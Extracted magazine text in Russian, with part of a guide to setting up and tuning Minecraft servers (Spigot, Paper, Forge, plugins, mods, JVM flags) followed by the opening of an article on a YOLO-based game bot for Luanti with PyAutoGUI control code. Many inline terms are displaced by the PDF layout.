 и   по  сути довольно похожи,
но   управляет тем, как  далеко сможет видеть клиент,
а   делает это  для сервера. Так ты можешь огра‐
ничить, на каком расстоянии от игрока будет обновляться мир. В идеале
эти два параметра должны быть одинаковыми, чтобы весь видимый мир
обновлялся, но  после примерно  16  увеличивать 
не следует, чтобы не снижать производительность слишком сильно; в этом
случае можно ограничиться увеличением . Более под‐
робно влияние этих параметров на  производительность мы разберем
ниже;

• simulation-distance view-distance

view-distance

simulation-distance

simulation-distance

view-distance

 и  , по  сути, главные для  тебя как  админа
параметры. Они задают адрес твоего сервера. Если оставить поле

 пустым, он будет слушать на  всех интерфейсах (0.0.0.0),
но  можно задать и  адрес конкретного интерфейса  — это  может быть
полезно, если ты делаешь сервер, который будет доступен только внутри
твоего собственного VPN.

• server-ip server-port

server-ip

Итак, допустим, ты задал адрес своего сервера в  конфиге, определился
с количеством оперативки и настроил желаемые особенности игрового мира.
Можно запускать? Да! Повтори запуск командой из  примера выше и  жди.
Генерация мира может занять некоторое время, после чего сервер будет
запущен и готов к подключению клиентов.

Консоль после запуска

INFO

Если сервер запустился, но подключиться к нему
не  получается, проверь файрвол на  сервере,
проброс порта сервера наружу и  версию своего
клиента. Настройка файрвола и  особенно проб‐
роса портов очень сильно разнится от  системы
к  системе и  выходит за  рамки этой статьи,
а  проброс портов становится отдельным испы‐
танием в  случае некоторых облачных провай‐
деров. Тут тебе придется разбираться самос‐
тоятельно.

Если все сделано правильно, ты сможешь подключиться к  своему первому
серверу!

Сервер в меню игры

Остается всего ничего: обеспечить автозапуск Minecraft при  перезагрузке
сервера. Сделать это проще всего через cron, только имей в виду, что под‐
ключиться к консоли после такого запуска у тебя уже не выйдет. Создай файл

, в  который помести команду запуска сервера, запусти редак‐

тирование списка задач командой  и  допиши в  конец вот такую

строчку:

start.sh
crontab -e

@reboot /путь/к/start.sh


Разумеется, в   можно поместить и  запуск сервера внутри ,
но  если ты делаешь сервер, который будет работать  24/7, то такой доступ
к консоли тебе и не нужен, а если хочешь запустить Minecraft, чтобы разочек
поиграть и  забыть, не  нужен становится уже автозапуск. Так что оставлю
решение этой задачки полностью на  твое усмотрение. А  еще в  качестве
домашнего задания можешь попробовать реализовать автоматический
перезапуск сервера при падении (подсказка: для этого в 
должен быть включен watchdog).

start.sh screen

server.properties

BUKKIT/SPIGOT

Альтернативный и более популярный сервер — Spigot. Он умеет все, что уме‐
ет официальный, но можно скачать бинарник, совместимый с любой версией
игры, а не только самой последней, а еще он поддерживает плагины. Сервер
запускается так же, как  и оригинальный, но  исполняемый файл надо взять
с  . Из  недостатков  — новые релизы выходят с  ощутимой задер‐
жкой по сравнению с официальными, порой в несколько месяцев.

сайта Bukkit

Скачиваем:

wget https://download.getbukkit.org/spigot/spigot-1.21.jar


Запускаем:

java   -Xmx2G -Xms2G -jar spigot-1.21.jar --nogui

Вот, собственно, и всё: настройки в   те же, работают они

так же, и вообще, запустив чистый Spigot, отличий от официального сервера
ты не заметишь. Только теперь надо разобраться с плагинами.

server.properties

Плагины  — это  не моды, и  они всегда устанавливаются только на  сер‐
верной стороне, то есть подключиться к серверу с установленными плагина‐
ми сможет даже официальный клиент — все изменения будут вноситься толь‐
ко на сервере. Тем не менее ты будешь отлично видеть их эффект: плагины
способны менять встроенные игровые механики, добавлять новые, изменять
поведение разных игровых предметов и так далее. Из действительно важных
плагинов, которые использует большинство админов Minecraft-серверов,
могу назвать следующие:

 добавляет более 130 команд для администраторов и простых

игроков, упрощая жизнь на сервере. Здесь реализованы многие механики
вроде системы телепортации по серверу или магазина.

• EssentialsX

  — эдакий Paint для  миров Minecraft. С  его помощью можно

быстро создавать и  редактировать огромные регионы мира, что очень
удобно, если ты строишь какой‑то масштабный проект.

• WorldEdit

 логически дополняет WorldEdit, позволяя гибко защищать
определенные регионы, чтобы предотвратить вандализм или простое слу‐
чайное повреждение. Особо полезно для  защиты публичных зон на  сер‐
вере.

• WorldGuard

 создает обновляющуюся в  реальном времени карту игрового

мира, доступную через браузер. Разработчики любезно предоставили 
, чтобы ты оценил реальные возможности этого инструмента.

• BlueMap

де‐
мо

 ведет лог всех изменений на сервере и позволяет легко их

откатывать. Очень полезная штука для предотвращения гриферства (хотя
старые добрые бэкапы никто не отменял).

• CoreProtect

 предоставляет возможность игрокам телепортироваться

в случайное место в игровом мире, чтобы спокойно развиваться вдалеке
от толпы. Плагин полностью настраиваемый и поддерживает практически
все версии игры. Полезен на больших серверах, где игроки часто мешают
друг другу.

• BetterRTP

  — незаменимая вещь, если ты хочешь сделать сервер мак‐

симально доступным любым игрокам, независимо от  версии их игры. Он
позволяет держать сервер на  старой версии и  при этом дать игрокам
с новых версий подключаться, будто версии совпадают. Никакой настрой‐
ки не требуется, а совместимость получается отличная!

• ViaVersion

 позволяет добавить аутентификацию по паролю с возможностью

гибко управлять доступом, включая бан по  локации, фильтрацию ботов
и так далее. Есть даже поддержка второго фактора!

• AuthMe

INFO

Поддержки аутентификации в игре нет, и для зах‐
вата чужого аккаунта на  сервере достаточно
задать себе в  лаунчере ник жертвы  — сервер
без  вопросов его примет и  даст доступ, если

 установлен в  , что необ‐
ходимо для  игры без  лицензии. Да, все пират‐
ские серверы по  определению не  защищены!
Чтобы защититься от  столь вопиющего безоб‐
разия, существуют плагины вроде AuthMe (а
еще  Rakamak, xAuth, CrazyLogin и  подобные  —
имя им легион), которые при  подключении зап‐
рашивают пароль и выкидывают с сервера, если
ввести его неправильно. На серверах с включен‐
ной проверкой лицензии подменить ник нельзя,
потому что он привязан к твоей лицензии, и такой
проблемы нет.

online-mode false

Установка всех плагинов сводится к копированию их файлов в папку 

рядом с  исполняемым файлом сервера, но  для некоторых нужно будет
еще  отредактировать конфиг. Конфиги бывают в  разном формате  — тут
никаких общих советов быть не может. Попадаются и JSON, и YAML, и вооб‐
ще кот знает что. Радует, что к популярным модам обычно есть нормальные
инструкции. Как  бы ни  хотелось сделать эту статью максимально полным
руководством по  созданию и  настройке своего сервера, но  настройку кон‐
кретных плагинов я все же оставлю тебе.

plugins

WARNING

Избегай проекта Mohist. Он был замечен за под‐
меной официальных бинарников популярных пла‐
гинов своими, взятыми невесть откуда. Думаю,
если ты читаешь «Хакер» не  первый день, то
прекрасно понимаешь, чем грозит такое поведе‐
ние. «Мохисту» существуют достойные замены,
одну из  которых мы рассмотрим в  конце этой
статьи.

Продолжение статьи
→
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PAPER

Итак, Paper  — это  форк Spigot, призванный максимально оптимизировать
сервер. Система плагинов у него своя, несовместимая с другими серверами,
но там есть все нужное, так что это не будет большой проблемой. Подробно
останавливаться на  Paper мы не  будем, потому что с  точки зрения админа
не  отличается вообще ничего  — просто плагины нужно качать из  другого
репозитория (тут он зовется ).Hangar

Ссылка на все последние версии сервера есть на  , где
в  левой части экрана можно выбрать желаемую версию игры, а  в правой  —
конкретный билд. Для  примера я скачаю последнюю сборку версии  1.20.1
(потому что на ней я играю чаще всего):

странице загрузки

wget https://api.papermc.io/v2/projects/paper/versions/1.20.1/builds/
196/downloads/paper-1.20.1-196.jar


Запуск сервера просто моментальный, над оптимизацией здесь действитель‐
но поработали как следует!

Сервер запустился всего за полторы секунды!

Кстати, об  оптимизации: игру можно ускорить еще  сильнее, если покрутить
параметры виртуальной машины Java, внутри которой работает Minecraft
(впрочем, и  настройки самой игры могут очень сильно влиять на  произво‐
дительность). Например, уже упомянутый параметр 
в   имеет смысл уменьшить со стандартного значения (10)

до примерно 4–5, потому что он не влияет на дальность прорисовки, а только
на события, происходящие в игровом мире. Сочетание низкого 

 и  высокого  позволит значительно увеличить даль‐

ность прорисовки мира, при этом слабо воздействуя на производительность.

simulation-distance
server.properties

simulation-
distance view-distance

Еще один параметр, влияющий на  производительность, настраивается
уже в другом конфиге сервера — , который, как ты уже догадался,
специфичен для  сервера Spigot. Здесь   — это  радиус, в  пре‐

делах которого одинаковые сущности будут объединяться, чтобы сократить
количество расчетов на  каждом такте обсчета игрового мира. Он задается
отдельно для предметов (item) и сфер опыта (exp); оба этих параметра можно
выставить в 3–4, чтобы фермы ресурсов не перегружали сервер.

spigot.yml
merge-radius

Точно так же можно подкрутить значение , но  делать
это стоит очень аккуратно, потому что это может нарушить сортировку пред‐
метов и работу механизмов, синхронизированных через воронки, а реальный
эффект это даст только на действительно немаленьких серверах.

hopper-transfer

Если говорить о  флагах JVM, то вот набор, совместимый с  любым сер‐
вером и полезный даже на клиентах:

-XX:+UnlockExperimentalVMOptions -XX:+UnlockDiagnosticVMOptions -XX:
+AlwaysActAsServerClassMachine -XX:+AlwaysPreTouch -XX:
+DisableExplicitGC -XX:+UseNUMA -XX:NmethodSweepActivity=1 -XX:
ReservedCodeCacheSize=400M -XX:NonNMethodCodeHeapSize=12M -XX:
ProfiledCodeHeapSize=194M -XX:NonProfiledCodeHeapSize=194M -XX:-
DontCompileHugeMethods -XX:MaxNodeLimit=240000 -XX:
NodeLimitFudgeFactor=8000 -XX:+UseVectorCmov -XX:
+PerfDisableSharedMem -XX:+UseFastUnorderedTimeStamps -XX:
+UseCriticalJavaThreadPriority -XX:ThreadPriorityPolicy=1 -XX:
AllocatePrefetchStyle=3


Только не забудь, что это касается Java версий 11 и выше. Дописывать флаги
нужно прямо в команду запуска:

java   

1 400M 
12M 194M 
194M 

8000 

1 
3 

-Xmx4G -Xms4G -XX:+UnlockExperimentalVMOptions -XX:
+UnlockDiagnosticVMOptions -XX:+AlwaysActAsServerClassMachine -XX:
+AlwaysPreTouch -XX:+DisableExplicitGC -XX:+UseNUMA -XX:
NmethodSweepActivity= -XX:ReservedCodeCacheSize= -XX:
NonNMethodCodeHeapSize= -XX:ProfiledCodeHeapSize= -XX:
NonProfiledCodeHeapSize= -XX:-DontCompileHugeMethods -XX:
MaxNodeLimit=240000 -XX:NodeLimitFudgeFactor= -XX:+UseVectorCmov 
-XX:+PerfDisableSharedMem -XX:+UseFastUnorderedTimeStamps -XX:
+UseCriticalJavaThreadPriority -XX:ThreadPriorityPolicy= -XX:
AllocatePrefetchStyle= -jar server.jar --nogui

Эти флаги максимально оптимизируют работу Java-машины, отдавая все
ресурсы игре ценой менее эффективной сборки мусора и  более агрессив‐
ного кеширования.

INFO

Можно пойти еще  дальше и  заменить саму вир‐
туальную машину Java  — благо реализаций мно‐
жество. Достойная альтернатива OpenJDK — про‐
ект  компании Oracle. Согласно 
пользователя brucethemouse, GraalVM дает буст
производительности на  сервере под  20%! Собс‐
твенно, этот парень и  вывел набор флагов,
который я привел выше. Подробный разбор, что
именно дает какой флаг и  что еще  можно опти‐
мизировать, читай в   на GitHub.

GraalVM тестам

репозитории

FORGE, FABRIC И ВСЕ-ВСЕ-ВСЕ

Как же еще можно изменить Minecraft? Думали‑думали — и придумали .
Forge  — это  старейший и  крупнейший загрузчик модов. В  давние времена
для  установки мода надо было патчить файл JAR, что автоматически унич‐
тожало любую возможную совместимость между модами. Долго так продол‐
жаться не  могло, и  появился Forge, который позволял пропатчить бинарник
игры один раз, а моды подгружать динамически из отдельных файлов.

Forge

Кроме того, Forge предоставляет обширный API, чтобы разработчики
модов могли легко добавлять блоки, предметы, животных или  даже новые
измерения, не ковыряясь самостоятельно в кишках игры. Это открыло дорогу
для  моддеров всех мастей, потому что теперь кто угодно мог сделать мод
и  легко запустить его на  любой версии игры, а  игроку стало не  нужно
выбирать между модами, потому что теперь можно установить сразу несколь‐
ко, просто скопировав их бинарники в папку .mods

 стал логическим продолжением старого доброго Forge и вобрал
в  себя лучшее из  него и  проекта . Для  тебя как  для админа NeoForge
не будет отличаться от обычного Forge примерно ничем, так что выносить его
в отдельную часть я не буду. Как, кстати, и Fabric — его установка тоже ничем
не отличается от того, что мы уже рассмотрели и рассмотрим ниже. Главное
отличие Fabric от  (Neo)Forge  — это  его API, который позволяет создавать
моды совсем по‑другому, но  на администрирование сервера это  никак
не влияет.

NeoForge
Fabric

INFO

Читая эту часть дальше, имей в  виду, что
для NeoForge и Fabric все работает так же.

Все знают, как  установить Forge на  клиенте,  — достаточно просто скачать
версию с встроенным Forge из любого популярного лаунчера. А вот на сер‐
вере все менее очевидно: нужно скачать установщик, запустить его, он сге‐
нерирует окружение и специальный скрипт для запуска нового сервера. Сам
же установщик по окончании процедуры можно удалить.

Выбери файл желаемой версии на   (или
), скачай его и запусти установку сервера:

странице загрузки Forge
NeoForge

wget https://maven.minecraftforge.net/net/minecraftforge/forge/1.21.
4-54.1.0/forge-1.21.4-54.1.0-installer.jar
java -jar forge-1.21.4-54.1.0-installer.jar --installServer

Для запуска сервера теперь полагается использовать скрипт  (или
, если у  тебя Windows), а  параметры Java дописывать

в   — там, например, стоит указывать лимиты на исполь‐

зование оперативной памяти. Ее, кстати, потребуется значительно больше,
чем с обычным сервером, — примерно раза в два (а то и больше). Готового
решения тут не  будет, тебе придется самостоятельно проверить, сколько
ресурсов потребуется твоей сборке.

run.sh
run.bat
user_jvm_args.txt

Но первым делом запусти сервер, чтобы он прошел второй этап установ‐
ки, — запуск закончится требованием принять EULA. По окончании установки
сгенерируется структура папок, очень похожая на  ту, которую ты видел
с  «обычными» серверами, только вместо папки  теперь есть папка

, куда можно поместить файлы желаемых модов.

plugins
mods

Никаких ручных патчей! Файл  настраивается точно так

же, но я все же обращу твое внимание на параметр , который
должен быть установлен в  , если твои моды добавляют возможность

полета, иначе решивших полетать игроков будет сразу выбрасывать с  сер‐
вера. А для модов, которые сильно изменяют генерацию мира, обычно нужно
править параметр .

server.properties
allow-flight

true

level-type
Помнишь, что модифицированный сервер потребляет значительно боль‐

ше ресурсов? Значительно возрастут требования к  оперативной памяти,
а кроме того, подрастет аппетит и к процессору. Вопреки расхожему мнению,
Minecraft (особенно серверная его часть) отлично параллелится, так что, если
все тормозит и проблему уже не получается заливать б льшим количеством
оперативки, стоит подумать о  том, чтобы добавить еще  пару ядер процес‐
сора.

о

Впрочем, можно кое‑что сделать и не доплачивая за более мощный сер‐
вер. Для этого есть моды‑оптимизаторы. Их можно поделить на два больших
класса: чисто клиентские, которые влияют на производительность отрисовки
картинки у игрока, и универсальные, исправляющие глубинные особенности
самой игры и ускоряющие не только клиент, но и сервер. Для актуальных вер‐
сий Minecraft рекомендую присмотреться к следующим модам:

 исправляет, наверное, самую больную часть Minecraft  — движок
освещения. Полезен и на клиентах, и на серверах. Вариант для Fabric дос‐
тупен по отдельной .

• Starlight

ссылке
/  — это форк Fabric-мода , который привносит

огромное количество мелких улучшений, что позволяет кратно увеличить
FPS и поднять производительность клиента.

• Rubidium Embeddium Sodium

Сравнение игры с Sodium и без с официальной страницы мода

 улучшает использование оперативной памяти сервером. Есть
.

• FerriteCore
версия для Fabric

  — хоть и  доступен только для  нового NeoForge и  Fabric, улучшает
производительность не только клиента, но и сервера — обязательно рас‐
смотри его, если решишь работать с NeoForge или Fabric!

• Lithium

 ускоряет подключение к  игровому миру за  счет отложенной заг‐
рузки чанков вокруг игрока. Если обычно при подключении к миру загружа‐
ются все чанки в зоне видимости, а потом начинается рендеринг, то с этим
модом загружается всего один чанк, в  котором находится игрок, а  вся
остальная территория подгружается уже в процессе игры.

• Fastload

А как же OptiFine?
Действительно, как  я мог забыть OptiFine? На  самом деле я не  рекомендую
этот мод из‑за проблем с совместимостью. OptiFine — хороший выбор, если
ты хочешь повысить производительность, но  не хочешь заморачиваться
и  готов просто поставить чистую копию игры сразу со  встроенным OptiFine
прямо из лаунчера.

OptiFine неплохо поднимает FPS, поддерживает шейдеры и вообще дела‐
ет все, что нужно большинству игроков. Но при этом он настолько сильно вли‐
яет на  саму игру, что ломает многие другие моды, из‑за чего в  описаниях
многих модов авторы прямо пишут о несовместимости с OptiFine.

Если ты решил пойти по пути создания своей сборки модов, чтобы играть
в собственный уникальный Minecraft на своем сервере, от OptiFine придется
отказаться. Заменить его на  Forge можно связкой из   (общая
оптимизация),  (динамическое освещение) и 
(поддержка шейдеров), а на Fabric — , Sodium Dynamic Lights и  .

Embeddium
Sodium Dynamic Lights Oculus

Sodium Iris

Жизнь между мирами
Хоть моды для Forge и Fabric в значительной степени и пересекаются, сущес‐
твуют моды, которые доступны только для какой‑то одной из этих платформ.
Fabric — это стильно, модно и молодежно, но модов для него поменьше, чем
для старого доброго Forge, так что работа пошла в логичном направлении —
запускать немногочисленные моды для  Fabric на  хорошо изученном
и популярном Forge.

Так появился проект , который представляет собой слой
совместимости для  запуска Fabric-модов на  Forge  — эдакий Wine внутри
Minecraft. Он содержит не только библиотеку‑прокси для эмуляции Fabric API,
но и полноценный патчер бинарников модов, который на лету пересобирает
моды Fabric для работы с фальшивым Fabric API! Работает это действительно
хорошо, и все протестированные мной моды работают без каких‑либо багов,
хотя проект официально еще  в статусе беты. Кроме того, есть еще  аддон

, который включает в  себя исправления специально
для популярных модов. Не жизнь, а сказка!

Sinytra Connector

Connector Extras

Впрочем, разработчики не только обещают сказочные возможности, но и
предупреждают о  потенциальных проблемах. Использование Sinytra
Connector может приводить к плохо объяснимым вылетам, да и вообще слож‐
но обещать стабильную работу невесть какого кода сторонних модов, еще и
автоматически перекопанного. Тем не менее с проблемами из‑за этого лич‐
но я не сталкивался.

Sinytra Connector, например, позволяет запускать такие невероятные
моды, как   и  .BetterEnd BetterNether

BetterEnd

BetterNether

К сожалению, альтернативы, позволяющей запускать моды для  Forge
на  Fabric, я не  знаю. Если ты видел такой проект  — обязательно расскажи
о нем в комментариях!

Достойные моды
Если ты твердо решил играть с модами, но пока не знаешь, что выбрать, что‐
бы точно было интересно, — вот моя подборка. Моды в ней совместимы меж‐
ду собой и настраиваются без проблем. Любой из них сделает твою игру нам‐
ного интереснее! Все моды хорошо работают с  Forge на  Minecraft 1.20.1,
но доступны и для других версий.

 и   добавляют в  Ад и  Энд около  40  новых биомов,
каждый из которых отлично проработан и выглядит просто шикарно. Оба
мода изначально сделаны для  Fabric, но  отлично работают с  Sinytra
Connector.

• BetterEnd BetterNether

 добавляет новые планеты, космические ракеты и  технологии
для их постройки.

• Ad Astra

 делает Ад более высоким (256  блоков в  высоту) и  раз‐
мещает биомы более естественно.

• Amplified Nether

 и    — это  два мода, каждый
из  которых добавляет десятки биомов во  все игровые измерения,
при этом первый я бы охарактеризовал как более консервативный, а вто‐
рой — как более творческий. Можно использовать оба одновременно.

• Biomes O’Plenty Oh The  Biomes We’ve Gone

 значительно усложняет и удлиняет попадание в Энд, зас‐
тавляя игрока действительно исследовать мир, а не убить дракона в пер‐
вый час игры. С  этим модом становится принципиально невозможным
спидран, что делает его идеальным дополнением при игре с друзьями.

• End Remastered

 добавляет в игру множество новых сельскохозяйственных
культур, а еще сообщество создало огромное количество аддонов для его
интеграции с  другими модами. Практического смысла он не  несет,
но делает игру намного уютнее.

• Farmer’s Delight

,  и   — это чисто клиентские моды, которые упрощают взаимо‐
действие с миром. Jade показывает, что за блок или сущность находится
перед тобой и что с этим можно сделать, что особенно важно в больших
модпаках. JEI (Just Enough Items) и его аддон JER (Just Enough Resources)
расскажут, как  создать каждый возможный ресурс в  игре и  что делать
с  непонятной находкой. Опять же чрезвычайно полезно в  больших сбор‐
ках.

• Jade JEI JER

 делает сундуки с лутом персональными для каждого игрока на сер‐
вере. Это поможет гарантировать, что кто‑то один не обчистит все сундуки
с  ценным лутом в  какой‑нибудь редкой структуре, заставляя тебя пот‐
ратить следующие несколько часов на поиск новой такой.

• Lootr

 добавит несколько новых интересных боссов и действи‐
тельно хорошо проработанные и  большие структуры. Напомню, что
в  ванильном «Майнкрафте» боссов всего два, так что дополнительные
шесть точно помогут не заскучать.

• Ender’s Cataclysm

Здорово разнообразить довольно скучный и  приевшийся игровой мир
помогут небольшие моды , 

 и  , которые добавят десятки, если не сот‐
ни, небольших структур по  всему миру  — это  и маленькие хижины,
и  колодцы, и  даже лагеря с  кострами. Мод  позволит
немного прикоснуться к  такой табуированной теме, как  рекреационное
сельское хозяйство, а   даст возможность кидаться кир‐
пичами. Что? Да!

•
Moog’s Voyager Structures Moog’s Nether

Structures Moog’s End Structures

Smokeleaf Industry

Throwable Bricks

 — это самый проработанный мод, добавляющий
огнестрельное оружие. Кроме собственно оружия, есть очень прорабо‐
танная система его модификации, качественные анимации и  огромное
количество аддонов, созданных сообществом и добавляющих ту или иную
забытую пушку. Для  обычного выживания мод несколько несбалан‐
сирован, но  для сервера  — самое то. Если хочешь полного треша  —
аддон  выдает пушки и  некоторым мобам тоже, чтобы ты
не думал, что ствол есть только у тебя.

• Timeless and Classics Zero

TaCZ: NPCs

 добавляет новое измерение сумеречного леса,
в котором есть свой сюжет. Позволяет несколько разнообразить игру.

• The Twilight Forest

 &  добавляют в  игру мини‑карту. Штука чрез‐
вычайно удобная и полезная, но ей легко злоупотребить, и на некоторых
общественных серверах ее приравнивают к читам, так что думай, насколь‐
ко она тебе нужна. Оба мода можно использовать чисто на клиенте, уста‐
новка на стороне сервера не обязательна, но позволяет улучшить работу
карты.

• Xaero’s Minimap WorldMap

Мододел  выпустил около десятка прекрасных модов серии Yung’s
Better, обновляющих почти каждый вид структур. Настоятельно рекомен‐
дуются к установке все — они изменят игру до неузнаваемости, при этом
не добавляя никаких новых предметов.

• Yung

Разумеется, список этим не  ограничивается: больше модов можно найти
на сайтах  и  .Modrinth CurseForge

КАК СОВМЕСТИТЬ МОДЫ И ПЛАГИНЫ

Обсуждая моды, мы совсем забыли, что с сервером Forge (или с любым дру‐
гим загрузчиком модов вместо полноценного сервера) моды будут работать,
а  вот поддержки плагинов не  будет. Выбирать между модами и  плагинами
не  хочется, и  сложную задачу подружить систему плагинов Bukkit с  модами
для Forge или Fabric решили разработчики сервера . Сервер сочетает
преимущества обоих миров, позволяя использовать одновременно и плагины
Bukkit, и моды с любым желаемым загрузчиком — хоть Forge, хоть NeoForge,
хоть вообще Fabric.

Arclight

Для установки скачай сборку с желаемым загрузчиком модов со 
 и  запусти, как  обычный Bukkit/Spigot,  — все будет точно так же,

но добавится поддержка модов.

страницы
релизов

Выбор релиза

Сервер работает весьма стабильно, и  лично я запускал на  нем сборки
из  более чем  200  модов  — полет нормальный. Причем в  этот недо-Bukkit/
недо-Forge нормально встает недо-Fabric в виде Sinytra Connector, и все про‐
должает работать! В остальном Arclight ничем не отличается от уже рассмот‐
ренного Bukkit/Spigot.

ИТОГИ

Мы разобрали процесс настройки сервера Minecraft и  запуска на  нем кас‐
томной сборки, которую ты в дальнейшем сможешь легко поддерживать.

За кадром осталось обсуждение общих зон, активностей на  сервере
и мини‑игр, поскольку я постарался сосредоточить внимание именно на тех‐
нической части.

Также за  кадром остались внутриигровые команды для  администрирова‐
ния, лучшие практики красивостроения, настройка конкретных плагинов
и совсем уж базовые знания об игре — предполагается, что если ты решил
завести свой сервер, то играть ты уже умеешь.

Если я упустил что‑то важное, не стесняйся, сообщай в комментариях, я их
читаю и  стараюсь отвечать. И  конечно, делись своими лайфхаками. Если их
наберется достаточно и тема в целом вызовет интерес, я подумаю над про‐
должением.
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Сегодня мы с  тобой разработаем бота,
способного при помощи машинного зрения
ориентироваться в  игровом пространстве.
Для  примера возьмем Luanti и  Minecraft,
однако общие принципы и основа, которую
мы напишем, подойдут для  любой схожей
игры.

Мы будем управлять ботом так же, как это делает обычный игрок: отправлять
ему команды нажатия клавиш (WASD и других). Получать информацию от бота
будем через встроенную в игру функцию сохранения скриншотов. Например,
отправили боту команду нажать F12  — получили снимок того, что он видит
в  данный момент. Проанализировали изображение, отправили следующую
команду — и так по кругу.

Важный момент: у нас не будет цели делать в игре что‑то конкретное. Мы
просто подготовим основу и  заодно изучим принципы работы с  машинным
зрением.

Для распознавания объектов мы будем использовать модели YOLO (You
Only Look Once). Наша задача  — обучить модель находить булыжник и  дви‐
гаться по дорожке, вымощенной им.

Обучение будет проходить в два этапа.
 Обучим модель  находить наш объект на снимках.

Эта модель сможет определить, содержится ли на изображении искомый
объект, и  выделить его с  помощью ограничивающего прямоугольника
(bounding box).

• Первый этап. YOLOv8n

 Подготовим обучающий материал для  второй модели  —
YOLOv8-seg, которая сможет обводить объекты по контуру. Это даст нам
возможность анализировать их размер, форму и положение. Это именно
то, что нужно для точной ориентации бота в пространстве.

• Второй этап.

ЧТО НАМ ПОНАДОБИТСЯ

1.  Мы используем легковесные модели, с которыми

справится даже средний по мощности ПК. Весь код был написан и протес‐
тирован на машине со следующими характеристиками:

Обычный компьютер.

процессор — восьмиядерный AMD Ryzen 7 5700U с картой Radeon;•
оперативная память — 8 Гбайт.•

2.  Потребуется около 10 Гбайт:Свободное место на диске.

400–500 Мбайт для хранения снимков (зависит от их количества);•
~400 Мбайт для скачивания предобученных моделей;•
~8,6 Гбайт для установки библиотек Python;•
38,8 Кбайт для нашего кода!•

3.  Обучение модели занимает нес‐

колько часов, так что стоит запастись терпением и развлечениями.

Хороший фильм или даже сериал.

4.  Я использовал Ubuntu, но  подойдет любой
дистрибутив Linux. Нам понадобятся несколько дополнительных прог‐
рамм, которые, скорее всего, уже есть в официальных репозиториях тво‐
его дистра.

Операционная система.

Ставим приложения для работы с буфером обмена:

apt sudo install xclip xsel


И для работы с окнами:

apt sudo install wmctrl xdotool


Тестировать я буду на  игре  (также известна под  старым названием
Minetest) — она попроще, чем Minecraft, и есть в стандартных репозиториях.
Однако попутно дам рекомендации для  работы с  Minecraft  — отличия будут
минимальными.

Luanti

Мы воспользуемся своим набором текстур для  игры, чтобы наш бот
заработал на любом сервере. Скачать текстурки можно из репозитория про‐
екта.

В качестве языка возьмем Python  — как  один из  наиболее популярных
и имеющий множество удобных библиотек.

Весь процесс можно разбить на  три основных этапа: подготовка, обу‐
чение, использование.

ПОДГОТОВКА

У нас будет много разных файлов, поэтому, чтобы ничего не  потерять, соз‐
дадим каталог для проекта.

Поскольку нам нужно будет ставить модули Python, сразу сделаем вир‐
туальное окружение.

python -m venv minebot


Теперь попробуем покомандовать нашим ботом. Для  этого воспользуемся
библиотекой PyAutoGUI. С ее помощью мы можем отправлять окну в фокусе
нажатие клавиш, движение мыши и нажатие ее кнопок.

Активируем наше виртуальное окружение:

source minebot/bin/activate


Установим библиотеки.

pip install pyautogui pyperclip opencv-python numpy ultralytics


Команды управления ботом я собрал в одном файле.

luanti/controller.py
 import pyautogui
 import pyperclip
 import time
 import math

 class LuantiController:
   """Класс для управления персонажем в Luanti с использованием 
библиотеки PyAutoGUI."""

      def __init__(self, window_width, window_height):
       """Инициализирует контроллер, получает размеры экрана."""

         self.screen_width = window_width
         self.screen_height = window_height

           self.fov = 72 # Угол обзора в градусах

    def take_screenshot(self):
       """Делает скриншот (нажатие F12)."""
       pyautogui.press('f12')
       time.sleep(0.1)

      def _move(self, key, duration):
       """Вспомогательная функция для перемещения."""
       pyautogui.keyDown(key)
       time.sleep(duration)
       pyautogui.keyUp(key)

     def move_forward(self, duration):
       """Перемещает персонажа вперед (нажатие W)."""

        self._move('w', duration)

     def move_backward(self, duration):
       """Перемещает персонажа назад (нажатие S)."""

        self._move('s', duration)

     def move_left(self, duration):
       """Перемещает персонажа влево (нажатие A)."""

        self._move('a', duration)

     def move_right(self, duration):
       """Перемещает персонажа вправо (нажатие D)."""

        self._move('d', duration)

    def jump(self):
       """Прыжок (нажатие пробела)."""
       pyautogui.keyDown('space')
       time.sleep(0.1)
       pyautogui.keyUp('space')

      def run(self, direction, duration):
       """Бег в указанном направлении."""
       pyautogui.keyDown('e')
       time.sleep(0.1)

          if direction == 'forward':
            self._move('w', duration)

          elif direction == 'backward':
            self._move('s', duration)

          elif direction == 'left':
            self._move('a', duration)

          elif direction == 'right':
            self._move('d', duration)

       pyautogui.keyUp('e')

      def crouch_and_move(self, direction, duration):
       """Перемещение при приседании."""
       pyautogui.keyDown('shift')
       time.sleep(0.1)

          if direction == 'forward':
            self._move('w', duration)

          elif direction == 'backward':
            self._move('s', duration)

          elif direction == 'left':
            self._move('a', duration)

          elif direction == 'right':
            self._move('d', duration)

       pyautogui.keyUp('shift')

    def open_inventory(self):
       """Открывает инвентарь (нажатие I)."""
       pyautogui.press('i')

    def close_inventory(self):
       """Закрывает инвентарь (нажатие Esc)."""
       pyautogui.press('esc')

     def change_camera(self, clicks):
       """Меняет вид камеры (нажатие C)."""

          for _ in range(clicks):
           pyautogui.press('c')
           time.sleep(0.5)

     def select_inventory_slot(self, slot_number):
       """Выбирает слот в инвентаре (нажатие клавиш 1–8)."""

            if 1 <= slot_number <= 8:
           pyautogui.press(str(slot_number))
       else:

             print("Недопустимый номер слота: " + str(slot_number))

    def place_block(self):
       """Ставит блок (правый клик мыши)."""
       pyautogui.click(button='right')

    def mine_block(self):
       """Ломает блок (удержание левого клика мыши)."""
       pyautogui.mouseDown(button='left')

        time.sleep(2) # Удерживаем кнопку мыши 2 секунды
       pyautogui.mouseUp(button='left')

     def send_chat_message(self, message):
       """Отправляет сообщение в чат с поддержкой кириллицы."""
       # Открываем чат
       pyautogui.press('t')
       time.sleep(0.1)
       # Копируем текст в буфер обмена
       pyperclip.copy(message)
       # Вставляем текст из буфера обмена (Ctrl + V)

        pyautogui.hotkey('ctrl', 'v')
       # Отправляем сообщение
       pyautogui.press('enter')

     def _calculate_pixels_for_degrees(self, degrees):
       """Вычисляет количество пикселей для сдвига мыши, 
необходимое для имитации поворота на заданный угол."""

           pixels_per_degree = self.screen_width / self.fov
          return int(degrees * pixels_per_degree)

      def turn(self, degrees_x, degrees_y):
       """Поворачивает персонажа на указанное количество градусов.
"""

         pixel_offset_x = self._calculate_pixels_for_degrees(degrees_x
)

         pixel_offset_y = self._calculate_pixels_for_degrees(degrees_y
)

         pyautogui.moveRel(pixel_offset_x, pixel_offset_y, duration=0.
0)
       time.sleep(0.05)

    def drop_item(self):
       """Выбрасывает предмет (нажатие Q)."""
       pyautogui.press('q')
       time.sleep(0.1)

Продолжение статьи
→

mailto:ksandr@tutamail.com
